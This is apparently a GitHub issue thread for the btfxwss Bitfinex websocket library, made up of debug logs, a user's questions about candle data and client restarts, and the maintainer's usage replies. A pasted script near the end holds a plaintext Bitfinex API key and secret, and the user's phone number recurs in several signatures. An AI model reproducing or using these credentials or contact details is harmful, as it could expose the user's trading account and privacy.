[5, [1371.1, 1, 1.378]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3491783,
[5, [1376.2, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3491783,
[5, [1372.6, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3491783,
[5, [1372.7, 1, -0.7658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3952088,
[1, [1371.4, 1.245, 1372.7, 0.18, 31.4, 0.0234, 1373, 8341.9640492, 1378.5,
1330.2]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6243615,
[5, [1371.5, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6293647,
[5, [1365.2, 1, 0.74]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.634523,
[5, [1375.8, 2, -2.05503718]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.857675,
[5, [1371.3, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8626783,
[5, [1371, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8676817,
[5, [1371.6, 1, 1.261]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.872685,
[5, [1371.4, 2, 1.6846]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8876927,
[5, [1372.6, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.902702,
[5, [1379.1, 2, -3.6]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1230245,
[5, [1371.1, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1280282,
[5, [1371.2, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1280282,
[5, [1379.1, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1280282,
[5, [1372.5, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4095461,
[5, [1371.6, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4145503,
[5, [1371.4, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4195557,
[5, [1371.5, 1, 1.291]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4245586,
[5, [1371.2, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4295623,
[5, [1365.1, 2, 0.12824296]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4345655,
[5, [1372.5, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4495733,
[5, [1379.1, 2, -3.6]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6379294,
[5, [1371.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.642933,
[5, [1371.5, 2, 1.391]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.647936,
[5, [1371, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6579404,
[5, [1372.8, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9022577,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9072611,
[5, [1365.1, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9072611,
[5, [1371.7, 1, 1.35]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9072611,
[5, [1371.5, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9072611,
[5, [1371.3, 1, 1.359]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9072611,
[5, [1372.8, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9122653,
[5, [1379.2, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.160543,
[5, [1371.5, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1655471,
[5, [1371, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1655471,
[5, [1371.4, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1655471,
[5, [1365.2, 1, 0.74]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1655471,
[5, [1372.7, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1655471,
[5, [1379.6, 1, -11.17]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4157145,
[5, [1371.7, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4207158,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4207158,
[5, [1371.6, 1, 1.31]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4207158,
[5, [1371.5, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4207158,
[5, [1379.2, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4207158,
[5, [1379.6, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.425719,
[5, [1372.7, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4307249,
[5, [1372.9, 1, -0.7658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6968997,
[5, [1371.3, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7019053,
[5, [1371.5, 2, 1.419]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7069082,
[5, [1365.2, 1, 0.74]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7069082,
[5, [1372.7, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7069082,
[5, [1379.2, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9230494,
[1, 'hb'])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9510682,
[5, [1371.6, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9560738,
[5, [1371.5, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9560738,
[5, [1371.8, 1, 1.297]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9560738,
[5, [1371.4, 1, 1.309]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9560738,
[5, [1371, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9560738,
[5, [1372.9, 2, -0.8658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1905324,
[5, [1371.8, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.195536,
[5, [1371, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.195536,
[5, [1371.5, 2, 0.5326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.195536,
[5, [1365.1, 2, 0.12824296]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.195536,
[5, [1372.9, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.195536,
[5, [1372.8, 1, -0.7658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4501731,
[5, [1371.4, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.455176,
[5, [1371.9, 1, 1.356]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4601772,
[5, [1371.5, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.4651809,
[5, [1379.2, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.470186,
[5, [1372.9, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7463672,
[5, [1371.9, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7513704,
[5, [1365.1, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7513704,
[5, [1371.6, 1, 1.256]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7513704,
[5, [1371.5, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7513704,
[5, [1371, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7513704,
[5, [1372.9, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7513704,
[5, [1379.2, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.991614,
[5, [1371.5, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9966176,
[5, [1365.1, 2, 0.12824296]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0016208,
[5, [1379.2, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0016208,
[5, [1372.9, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.2676504,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.272651,
[5, [1365.1, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.272651,
[5, [1372.6, 1, 0.12165364]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.2776544,
[5, [1371.5, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.2926667,
[5, [1372.9, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.2976675,
[5, [1379.2, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5441327,
[5, [1371.6, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.549136,
[5, [1371.5, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5541396,
[5, [1371.1, 1, 1.247]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5694227,
[5, [1365.2, 1, 0.74]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5744274,
[5, [1379.2, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5846195,
[5, [1372.8, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.58962,
[5, [1372.9, 1, -0.7658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7618928,
[5, [1371, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.766896,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7720876,
[5, [1371.8, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7770936,
[5, [1371.2, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7820983,
[5, [1372.8, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7820983,
[5, [1379.2, 1, -0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0182528,
[5, [1371.8, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.023256,
[5, [1365.2, 1, 0.74]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.033265,
[5, [1373.1, 2, -0.85]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.276425,
[5, [1365.3, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.2814283,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.2864318,
[5, [1371.8, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.291435,
[5, [1371.7, 1, 1.276]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3444705,
[1, [1372.6, 0.12165364, 1372.9, 0.7658, 31.4, 0.0234, 1373, 8341.95165264,
1378.5, 1330.2]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5285938,
[5, [1371.8, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5335963,
[5, [1365.3, 1, 13.28683806]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5385995,
[5, [1372.9, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5385995,
[5, [1376.1, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5385995,
[5, [1376.3, 1, -0.3753712]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5385995,
[5, [1379.6, 1, -11.17]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7840092,
[5, [1371.1, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7840092,
[5, [1371.8, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7850056,
[5, [1367.6, 3, 2.46798549]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.7850056,
[5, [1373.1, 1, -0.75]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0553422,
[5, [1371.8, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.060345,
[5, [1371.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.065351,
[5, [1371, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0703545,
[5, [1365.2, 1, 0.74]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0753574,
[5, [1379.6, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0803587,
[5, [1372.9, 1, -0.7658]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0903678,
[5, [1373.1, 2, -0.85]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.302612,
[5, [1365.2, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3076155,
[5, [1372.7, 1, 1.377]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3126192,
[5, [1373.1, 1, -0.75]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5680132,
[5, [1371.7, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5730166,
[5, [1371, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5730166,
[5, [1371.9, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5730166,
[5, [1371.8, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5730166,
[5, [1372.9, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5740175,
[5, [1373, 2, -6.85]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5740175,
[5, [1379.6, 1, -11.17]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8112931,
[5, [1372.7, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8162973,
[5, [1371.9, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8212993,
[5, [1372.9, 1, 0.0587439]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.841315,
[5, [1371.6, 1, 0.05871132]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8563228,
[5, [1373, 1, -6.75]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0854757,
[5, [1371.8, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0904782,
[5, [1365.3, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0904782,
[5, [1372, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0904782,
[5, [1371, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0914817,
[5, [1373.3, 2, -2.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.347865,
[5, [1372, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3528678,
[5, [1371, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.357869,
[5, [1372.7, 1, 1.302]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3628726,
[5, [1371.7, 1, 0.4326]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3728786,
[5, [1373.3, 1, -2]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5961354,
[5, [1365.6, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6011374,
[5, [1371.9, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6011374,
[5, [1373.3, 2, -2.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8575523,
[5, [1371.9, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8675587,
[5, [1372, 1, 0.1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.916592,
[1, 'hb'])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.624182,
[5, [1376.4, 0, -1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.6391919,
[5, [1379.8, 4, -0.39915247]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8813517,
[5, [1372.6, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.8863533,
[5, [1372, 0, 1]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.891358,
[5, [1371.6, 2, 0.18036496]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.89636,
[5, [1365.6, 1, 0.01464493]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.9063666,
[5, [1365.3, 1, 13.28683806]])
INFO:btfxwss.classes:BtfxWss.stop(): Stopping client..
INFO:btfxwss.classes:BtfxWss.stop(): Joining receiver thread..
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.1183722,
[5, [1365.3, 0, 1]])
INFO:btfxwss.classes:BtfxWss.stop(): Joining processing thread..
INFO:btfxwss.classes:BtfxWss.stop(): Closing websocket conection..
INFO:btfxwss.classes:BtfxWss.stop(): Done!
INFO:btfxwss.classes:BtfxWssRaw.stop(): Joining rotator thread..
INFO:btfxwss.classes:BtfxWssRaw.stop(): Done!

That's great to hear!
If by consolidated order books you mean books with a different aggregation level, you can pass a parameter while subscribing (i.e. wss.order_book('BTCUSD', prec='P3')). Consult Bitfinex's API Documentation for available parameters..
If you require custom consolidation of the books, for instance by a certain value or size, I cannot offer support. That's not covered by this library.

How do i subscribe to get candles data.... ?
OHLC
i tried wss.candles('BTCUSD')
it did not work
i tried wss.candles()
it did not work
i tried wss.candles('BTCUSD' , table = '1m')
it did not work
it constantly gives _io.TextIOWrapper' object is not callable error ?
Regards,
Nitin Gupta
9731423808
On Wed, Apr 26, 2017 at 12:14 AM, Nils<EMAIL_ADDRESS>wrote:

That's great to hear!
If by consolidated order books you mean books with a different aggregation
level, you can pass a parameter while subscribing (i.e. wss.order_book('BTCUSD',
prec='P3')). Consult Bitfinex's API Documentation for available
parameters.
https://bitfinex.readme.io/v2/reference#ws-public-order-books.
If you require custom consolidation of the books, for instance by a
certain value or size, I cannot offer support. That's not covered by this
library.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-297127284,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05iFNYx9sRQYT32Pmcj8tcb9AVHYxks5rzj8DgaJpZM4NFSvU
.

To subscribe to candle data, use wss.ohlc('BTCUSD'). Accessing wss.candles() attempts to access the file object the data is written to. This is indeed an unfortunate naming on my part. I'll look note it down in the to do list for the next release.

thanks,
by default , ohlc would record 1 minute data... ?
one more question .....
orderbook that i have subscribed to stop to record after some time and
stopping is not always at a constant time , sometime 5 minute , sometime 10
minute and sometime 15 minutes ?
Regards,
Nitin Gupta
9731423808
On Wed, Apr 26, 2017 at 11:58 PM, Nils<EMAIL_ADDRESS>wrote:

To subscribe to candle data, use wss.ohlc('BTCUSD'). Accessing
wss.candles() attempts to access the file object the data is written to.
This is indeed an unfortunate naming on my part. I'll look note it down in
the to do list for the next release.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-297500219,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05k_HwT3fnsxwx9OI_IiwbfQDobx5ks5rz4zOgaJpZM4NFSvU
.

By default it's 1Min candles, yes. However, I've just noticed that registration for these channels does not appear to work correctly, anymore. I'll supply a hotfix as soon as I can.

Regarding the stoppage of recording, this is part of a bigger problem with message handling. For now, you'll have to handle this issue yourself- I recommend resetting the client at regular intervals.

what does resetting the client mean ?
Should i do wss.start() after every 10 minutes .
or should i do this after every 10 minutes ?
wss.ticker('BTCUSD')
wss.order_book('BTCUSD', prec='P3',len="100")
wss.ohlc('BTCUSD')
Regards,
Nitin Gupta
9731423808
On Thu, Apr 27, 2017 at 12:27 AM, Nils<EMAIL_ADDRESS>wrote:

Fix is live on master (Commit 8f4799c
https://github.com/nlsdfnbch/bitfinex_wss/commit/8f4799c38a0139094edb1fba50d8b35ddadf012c
).
Regarding the stoppage of recording, this is part of a bigger problem with
message handling. For now, you'll have to handle this issue yourself- I
recommend resetting the client at regular intervals.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-297508416,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05gpuxTumKq8osDk8fmTEm8a81eAKks5rz5OxgaJpZM4NFSvU
.

resetting means shutting down the client and re-initializing it.
like so:
    wss.start()
    # do stuff
   ...
   # Restart
   wss.restart(soft=True) # Restarts the client and tries to re-subscribe to all previously channels

If restart() throws errors for subscriptions, try wss.restart(soft=False) and manually send subscriptions commands (i.e. wss.ticker('BTCUSD').
I will close this issue now, since it's deviated from the original topic.
If you have further issues, please don't hesitate to open a new issue after reading the CONTRIBUTING.md file.
Thanks again for you help!

I am getting an error while restarting :
Exception in thread Controller Thread:
Traceback (most recent call last):
File "D:\Program Files\Python35\lib\threading.py", line 914, in
_bootstrap_inner
self.run()
File "D:\Program Files\Python35\lib\threading.py", line 862, in run
self._target(*self._args, **self._kwargs)
File "D:\Program Files\Python35\lib\site-packages\btfxwss\classes.py",
line 174, in _controller
self.restart(soft=True)
File "D:\Program Files\Python35\lib\site-packages\btfxwss\classes.py",
line 323, in restart
self.start()
File "D:\Program Files\Python35\lib\site-packages\btfxwss\classes.py",
line 1103, in start
super(BtfxWssRaw, self).start()
File "D:\Program Files\Python35\lib\site-packages\btfxwss\classes.py",
line 255, in start
self.conn = create_connection(self.addr, timeout=3)
File "D:\Program Files\Python35\lib\site-packages\websocket_core.py",
line 487, in create_connection
websock.connect(url, **options)
File "D:\Program Files\Python35\lib\site-packages\websocket_core.py",
line 214, in connect
self.handshake_response = handshake(self.sock, *addrs, **options)
File "D:\Program
Files\Python35\lib\site-packages\websocket_handshake.py", line 65, in
handshake
status, resp = _get_resp_headers(sock)
File "D:\Program
Files\Python35\lib\site-packages\websocket_handshake.py", line 122, in
_get_resp_headers
raise WebSocketBadStatusException("Handshake status %d", status)
websocket._exceptions.WebSocketBadStatusException: Handshake status 429
Exception in thread Controller Thread:
Traceback (most recent call last):
File "D:\Program Files\Python35\lib\threading.py", line 914, in
_bootstrap_inner
self.run()
File "D:\Program Files\Python35\lib\threading.py", line 862, in run
self._target(*self._args, **self._kwargs)
File "D:\Program Files\Python35\lib\site-packages\btfxwss\classes.py",
line 174, in _controller
self.restart(soft=True)
File "D:\Program Files\Python35\lib\site-packages\btfxwss\classes.py",
line 323, in restart
self.start()
File "D:\Program Files\Python35\lib\site-packages\btfxwss\classes.py",
line 1103, in start
super(BtfxWssRaw, self).start()
File "D:\Program Files\Python35\lib\site-packages\btfxwss\classes.py",
line 255, in start
self.conn = create_connection(self.addr, timeout=3)
File "D:\Program Files\Python35\lib\site-packages\websocket_core.py",
line 487, in create_connection
websock.connect(url, **options)
File "D:\Program Files\Python35\lib\site-packages\websocket_core.py",
line 214, in connect
self.handshake_response = handshake(self.sock, *addrs, **options)
File "D:\Program
Files\Python35\lib\site-packages\websocket_handshake.py", line 65, in
handshake
status, resp = _get_resp_headers(sock)
File "D:\Program
Files\Python35\lib\site-packages\websocket_handshake.py", line 122, in
_get_resp_headers
raise WebSocketBadStatusException("Handshake status %d", status)
websocket._exceptions.WebSocketBadStatusException: Handshake status 429
attaching the code that i am running :
from btfxwss import BtfxWss,BtfxWssRaw
import logging
import sys
import time
logging.basicConfig(level=logging.DEBUG, filename='test.log')
log = logging.getLogger(name)
fh = logging.FileHandler('test.log')
fh.setLevel(logging.DEBUG)
sh = logging.StreamHandler(sys.stdout)
sh.setLevel(logging.DEBUG)
log.addHandler(sh)
log.addHandler(fh)
apikey = 'UJhQerjgr7zcg14DpaarUYjYu8uImaI2lF8qKiGXI9c'
apisecret = 'dIPL4BFs6BHvuyVeZ74U218xKZRyRGBI76DVreQH4f1'
wss = BtfxWssRaw(key=apikey, secret=apisecret,output_dir='./',
rotate_to='./')
wss.start()
time.sleep(1)  # give the client some prep time to set itself up.
wss.authenticate()
Subscribe to some channels
wss.ticker('BTCUSD')
wss.order_book('BTCUSD', prec='P3',len="100")
wss.ohlc('BTCUSD')
Send a ping - if this returns silently, everything's fine.
wss.ping()
Do something else
t = time.time()
while time.time() - t < 100:
#print(time.time())
#print(t)
pass
if time.time() - t > 100:
wss.restart(soft=False)
wss.ticker('BTCUSD')
wss.order_book('BTCUSD', prec='P3',len="100")
wss.ohlc('BTCUSD')
wss.stop()
#print(wss.tickers['BTCUSD'])
#print(wss.books['BTCUSD'].bids())  # prints all current bids for the
BTCUSD order book
#print(wss.books['BTCUSD'].asks())  # prints all current asks for the
BTCUSD order book
#wss1 = BtfxWssRaw(key=apikey,secret=apisecret,output_dir='data/',
rotate_at='22:35',rotate_to='var/')
#wss1 = BtfxWssRaw(key=apikey,secret=apisecret,
rotate_at='13:59')
#wss1.start()
Regards,
Nitin Gupta
9731423808
On Thu, Apr 27, 2017 at 7:29 PM, Nils<EMAIL_ADDRESS>wrote:

Closed #7 https://github.com/nlsdfnbch/bitfinex_wss/issues/7.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#event-1060456198, or mute
the thread
https://github.com/notifications/unsubscribe-auth/Aam05txakxQh4aLjxiW4vg4mg7BeXp4mks5r0J9UgaJpZM4NFSvU
.

moving this to a new separate issue


